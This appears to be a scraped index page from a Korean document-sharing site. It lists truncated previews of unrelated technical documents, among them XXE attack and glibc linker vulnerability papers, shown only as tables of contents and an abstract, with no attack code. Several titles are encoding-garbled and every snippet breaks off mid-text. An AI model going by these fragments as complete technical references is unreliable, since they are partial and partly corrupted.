BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)
More information0125_ 워크샵 발표자료_완성.key
WordPress is a free and open-source content management system (CMS) based on PHP and MySQL. WordPress is installed on a web server, which either is part of an Internet hosting service or is a network host
More informationBEA_WebLogic.hwp
BEA WebLogic Server SSL 설정방법 - Ver 1.0-2008. 6 개정이력 버전개정일개정내용 Ver 1.0 2008 년 6 월 BEA WebLogic Server SSL 설명서최초작성 본문서는정보통신부 한국정보보호진흥원의 보안서버구축가이드 를참고하여작성되었습니다. 본문서내용의무단도용및사용을금합니다. < 목차 > 1. 개인키및 CSR 생성방법
More informationCloud Friendly System Architecture
-Service Clients Administrator 1. -Service 구성도 : ( 좌측참고 ) LB(LoadBlancer) 2. -Service 개요 ucloud Virtual Router F/W Monitoring 개념 특징 적용가능분야 Server, WAS, DB 로구성되어 web service 를클라우드환경에서제공하기위한 service architecture
More informationhd1300_k_v1r2_Final_.PDF
Starter's Kit for HelloDevice 1300 Version 11 1 2 1 2 3 31 32 33 34 35 36 4 41 42 43 5 51 52 6 61 62 Appendix A (cross-over) IP 3 Starter's Kit for HelloDevice 1300 1 HelloDevice 1300 Starter's Kit HelloDevice
More informationPowerChute Personal Edition v3.1.0 에이전트 사용 설명서
PowerChute Personal Edition v3.1.0 990-3772D-019 4/2019 Schneider Electric IT Corporation Schneider Electric IT Corporation.. Schneider Electric IT Corporation,,,.,. Schneider Electric IT Corporation..
More information(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -
(Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register
More informationC++-¿Ïº®Çؼ³10Àå
C C++. (preprocessor directives), C C++ C/C++... C++, C. C++ C. C C++. C,, C++, C++., C++.,.. #define #elif #else #error #if #itdef #ifndef #include #line #pragma #undef #.,.,. #include #include
More informationT100MD+
User s Manual 100% ) ( x b a a + 1 RX+ TX+ DTR GND TX+ RX+ DTR GND RX+ TX+ DTR GND DSR RX+ TX+ DTR GND DSR [ DCE TYPE ] [ DCE TYPE ] RS232 Format Baud 1 T100MD+
More informationPowerPoint 프레젠테이션
@ Lesson 2... ( ). ( ). @ vs. logic data method variable behavior attribute method field Flow (Type), ( ) member @ () : C program Method A ( ) Method B ( ) Method C () program : Java, C++, C# data @ Program
More informationchap 5: Trees
5. Threaded Binary Tree 기본개념 n 개의노드를갖는이진트리에는 2n 개의링크가존재 2n 개의링크중에 n + 1 개의링크값은 null Null 링크를다른노드에대한포인터로대체 Threads Thread 의이용 ptr left_child = NULL 일경우, ptr left_child 를 ptr 의 inorder predecessor 를가리키도록변경
More informationDocsPin_Korean.pages
Unity Localize Script Service, Page 1 Unity Localize Script Service Introduction Application Game. Unity. Google Drive Unity.. Application Game. -? ( ) -? -?.. 준비사항 Google Drive. Google Drive.,.. - Google
More informationUSER GUIDE
Solution Package Volume II DATABASE MIGRATION 2010. 1. 9. U.Tu System 1 U.Tu System SeeMAGMA SYSTEM 차 례 1. INPUT & OUTPUT DATABASE LAYOUT...2 2. IPO 중 VB DATA DEFINE 자동작성...4 3. DATABASE UNLOAD...6 4.
More information기술문서 작성 XXE Attacks 작성자 : 인천대학교 OneScore 김영성 I. 소개 2 II. 본문 2 가. XML external entities 2 나. XXE Attack 3 다. 점검방법 3 라.
기술문서 14. 11. 10. 작성 XXE Attacks 작성자 : 인천대학교 OneScore 김영성 dokymania@naver.com I. 소개 2 II. 본문 2 가. XML external entities 2 나. XXE Attack 3 다. 점검방법 3 라. Exploit 5 마. 피해 6 III. 결론 6 가. 권고사항 6 I. 소개 가. 역자 본문서는
More informationJavascript.pages
JQuery jquery part1 JavaScript : e-mail:leseraphina@naver.com http://www.webhard.co.kr I.? 2 ......,,. : : html5 ; ; .
More informationCopyright 2012, Oracle and/or its affiliates. All rights reserved.,.,,,,,,,,,,,,.,...,. U.S. GOVERNMENT END USERS. Oracle programs, including any oper
Windows Netra Blade X3-2B( Sun Netra X6270 M3 Blade) : E37790 01 2012 9 Copyright 2012, Oracle and/or its affiliates. All rights reserved.,.,,,,,,,,,,,,.,...,. U.S. GOVERNMENT END USERS. Oracle programs,
More informationChapter 1
3 Oracle 설치 Objectives Download Oracle 11g Release 2 Install Oracle 11g Release 2 Download Oracle SQL Developer 4.0.3 Install Oracle SQL Developer 4.0.3 Create a database connection 2 Download Oracle 11g
More information제1장 Unix란 무엇인가?
4 장파일 컴퓨터과학과박환수 1 2 4.1 시스템호출 컴퓨터시스템구조 유닉스커널 (kernel) 하드웨어를운영관리하여다음과같은서비스를제공 파일관리 (File management) 프로세스관리 (Process management) 메모리관리 (Memory management) 통신관리 (Communication management) 주변장치관리 (Device
More information<3035303432365FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>
개 요 홈페이지 해킹 현황 및 사례 홈페이지 개발시 보안 취약점 및 대책 주요 애플리케이션 보안 대책 결 론 참고자료 [부록1] 개발 언어별 로그인 인증 프로세스 예제 [부록2] 대규모 홈페이지 변조 예방을 위한 권고(안) [부록3] 개인정보의 기술적 관리적 보호조치 기준(안) [부록4] 웹 보안관련 주요 사이트 리스트 7000 6,478 6000 5000
More informationAdobe Flash 취약점 분석 (CVE-2012-0754)
기술문서 14. 08. 13. 작성 GNU C library dynamic linker $ORIGIN expansion Vulnerability Author : E-Mail : 윤지환 131ackcon@gmail.com Abstract 2010 년 Tavis Ormandy 에 의해 발견된 취약점으로써 정확한 명칭은 GNU C library dynamic linker
More informationPortal_9iAS.ppt [읽기 전용]
Application Server iplatform Oracle9 A P P L I C A T I O N S E R V E R i Oracle9i Application Server e-business Portal Client Database Server e-business Portals B2C, B2B, B2E, WebsiteX B2Me GUI ID B2C
More informationMicrosoft PowerPoint - chap9 [호환 모드]
제 9 장프로세스관계 숙대창병모 1 Contents 1. Logins 2. Process Groups 3. Sessions 4. Controlling Terminal 5. Job Control 숙대창병모 2 로그인 숙대창병모 3 터미널로그인 /etc/ttys: 1 line per terminal device getty: opens terminal device
More informationPowerPoint Presentation
FORENSICINSIGHT SEMINAR SQLite Recovery zurum herosdfrc@google.co.kr Contents 1. SQLite! 2. SQLite 구조 3. 레코드의삭제 4. 삭제된영역추적 5. 레코드복원기법 forensicinsight.org Page 2 / 22 SQLite! - What is.. - and why? forensicinsight.org
More information8 장데이터베이스 8.1 기본개념 - 데이터베이스 : 데이터를조직적으로구조화한집합 (cf. 엑셀파일 ) - 테이블 : 데이터의기록형식 (cf. 엑셀시트의첫줄 ) - 필드 : 같은종류의데이터 (cf. 엑셀시트의각칸 ) - 레코드 : 데이터내용 (cf. 엑셀시트의한줄 )
8 장데이터베이스 8.1 기본개념 - 데이터베이스 : 데이터를조직적으로구조화한집합 (cf. 엑셀파일 ) - 테이블 : 데이터의기록형식 (cf. 엑셀시트의첫줄 ) - 필드 : 같은종류의데이터 (cf. 엑셀시트의각칸 ) - 레코드 : 데이터내용 (cf. 엑셀시트의한줄 ) - DDL(Data Definition Language) : show, create, drop
More information1) 인증서만들기 ssl]# cat >www.ucert.co.kr.pem // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키
Lighttpd ( 단일도메인 ) SSL 인증서신규설치가이드. [ 고객센터 ] 한국기업보안. 유서트기술팀 1) 인증서만들기 [root@localhost ssl]# cat www.ucert.co.kr.key www.ucert.co.kr.crt >www.ucert.co.kr.pem // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat
More informationAnalytics > Log & Crash Search > Unity ios SDK [Deprecated] Log & Crash Unity ios SDK. TOAST SDK. Log & Crash Unity SDK Log & Crash Search. Log & Cras
Analytics > Log & Crash Search > Unity ios SDK [Deprecated] Log & Crash Unity ios SDK. TOAST SDK. Log & Crash Unity SDK Log & Crash Search. Log & Crash Unity SDK... Log & Crash Search. - Unity3D v4.0 ios
More informationThe Pocket Guide to TCP/IP Sockets: C Version
얇지만얇지않은 TCP/IP 소켓프로그래밍 C 2 판 4 장 UDP 소켓 제 4 장 UDP 소켓 4.1 UDP 클라이언트 4.2 UDP 서버 4.3 UDP 소켓을이용한데이터송싞및수싞 4.4 UDP 소켓의연결 UDP 소켓의특징 UDP 소켓의특성 싞뢰할수없는데이터젂송방식 목적지에정확하게젂송된다는보장이없음. 별도의처리필요 비연결지향적, 순서바뀌는것이가능 흐름제어 (flow
More informationÀÎÅÍ³Ý ÁøÈï¿ø 3¿ù ÀúÇØ»ó
Korea Internet & Security Agency 21 3 CONTENTS 1 2 2 2 3 3 4 5 5 6 6 7 9 1 12 12 13 13 14 16 18 2 21 22 22 31 34 35 1 213 Bot 1,85 1,32 16.7 1,53 1,76 12.1 222 317 3. 116 16 9.4% 345 23 5.% 267 233 14.6%
More informationMicrosoft PowerPoint - 04-UDP Programming.ppt
Chapter 4. UDP Dongwon Jeong djeong@kunsan.ac.kr http://ist.kunsan.ac.kr/ Dept. of Informatics & Statistics 목차 UDP 1 1 UDP 개념 자바 UDP 프로그램작성 클라이언트와서버모두 DatagramSocket 클래스로생성 상호간통신은 DatagramPacket 클래스를이용하여
More information